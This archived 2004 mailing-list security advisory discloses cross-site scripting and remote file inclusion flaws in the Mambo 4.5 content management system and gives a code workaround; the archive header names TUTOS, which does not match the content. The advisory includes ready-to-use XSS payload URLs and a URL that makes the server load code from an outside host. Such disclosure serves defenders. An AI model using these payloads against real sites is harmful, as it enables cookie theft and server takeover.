<<< Date Index >>>     <<< Thread Index >>>

Vulnerabilities in TUTOS




--------------------------------------------------------------------------- 
              Two Vulnerabilities in Mambo 
--------------------------------------------------------------------------- 
 
Author: Jose Antonio Coret (Joxean Koret) 
Date: 2004  
Location: Basque Country 
 
--------------------------------------------------------------------------- 
 
Affected software description: 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 
Mambo 4.5 (1.0.9) 
 
Mambo is one of the most powerful Open 
Source Content Management Systems on  
the planet. It is used all over the world for 
everything from simple websites  
to complex corporate applications. Mambo is 
easy to install, simple to manage,  
and reliable. 
 
Web : http://mamboserver.com/ 
 
--------------------------------------------------------------------------- 
 
Vulnerabilities: 
~~~~~~~~~~~~~~~~ 
 
A. Cross Site Scripting 
 
A1. The first vulnerability that I found is in the 
script index.php. The following 
parameters are vulnerables : Itemid, mosmsg 
and limit. 
 
Examples :  
 
http://<site-with-mambo>/index.php?option=com_content&task=view&id=18&Itemid=39">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&mosmsg=<h1>Hi,
%20I%20am%20an%20XSS%
20Problem</h1><br><br><br><br><br><br><br><br><br><br><br><br><br><br> 
 
http://<site-with-mambo>/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1">&lt;script&gt;alert(document.cookie)&lt;/script&gt;&limitstart=1
 
 
B. Remote Code Execution 
 
B1. The simple hack made to the Cache_library 
makes mambo vulnerable to a 
remote arbitrary code execution attacks.  
 
Example :  
 
http://<site-with-mambo>/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://fucking.site.com/
 
 
Workaround: 
~~~~~~~~~~~ 
 
The file 
mambo/includes/Cache/Lite/Function.php looks 
like : 
 
<?php 
 
/** 
* This class extends Cache_Lite and can be 
used to cache the result and output of 
functions/methods 
* 
* This class is completly inspired from 
Sebastian Bergmann's 
* PEAR/Cache_Function class. This is only an 
adaptation to 
* Cache_Lite 
* 
* There are some examples in the 
'docs/examples' file 
* Technical choices are described in the 
'docs/technical' file 
* 
* @package Cache_Lite 
* @version $Id: Function.php,v 1.1 2004/07/21 
13:38:58 rcastley Exp $ 
* @author Sebastian BERGMANN 
<sb@xxxxxxxxxxxxxxxxxxxxx> 
* @author Fabien MARTY <fab@xxxxxxx> 
*/ 
 
require_once($mosConfig_absolute_path . 
'/includes/Cache/Lite.php'); 
 
class Cache_Lite_Function extends Cache_Lite 
... 
 
 
Simply add the following 2 lines before the 
require_once statement :  
 
/** ensure this file is being included by a parent 
file */ 
defined( '_VALID_MOS' ) or die( 'Direct Access to 
this location is not allowed.' ); 
 
The fix: 
~~~~~~~~ 
 
The bugs are fixed in the CVS version. 
 
Disclaimer: 
~~~~~~~~~~~ 
 
The information in this advisory and any of its 
demonstrations is provided 
"as is" without any warranty of any kind. 
 
I am not liable for any direct or indirect damages 
caused as a result of 
using the information or demonstrations 
provided in any part of this 
advisory.  
 
--------------------------------------------------------------------------- 
 
Contact: 
~~~~~~~~ 
 
        Joxean Koret at 
joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es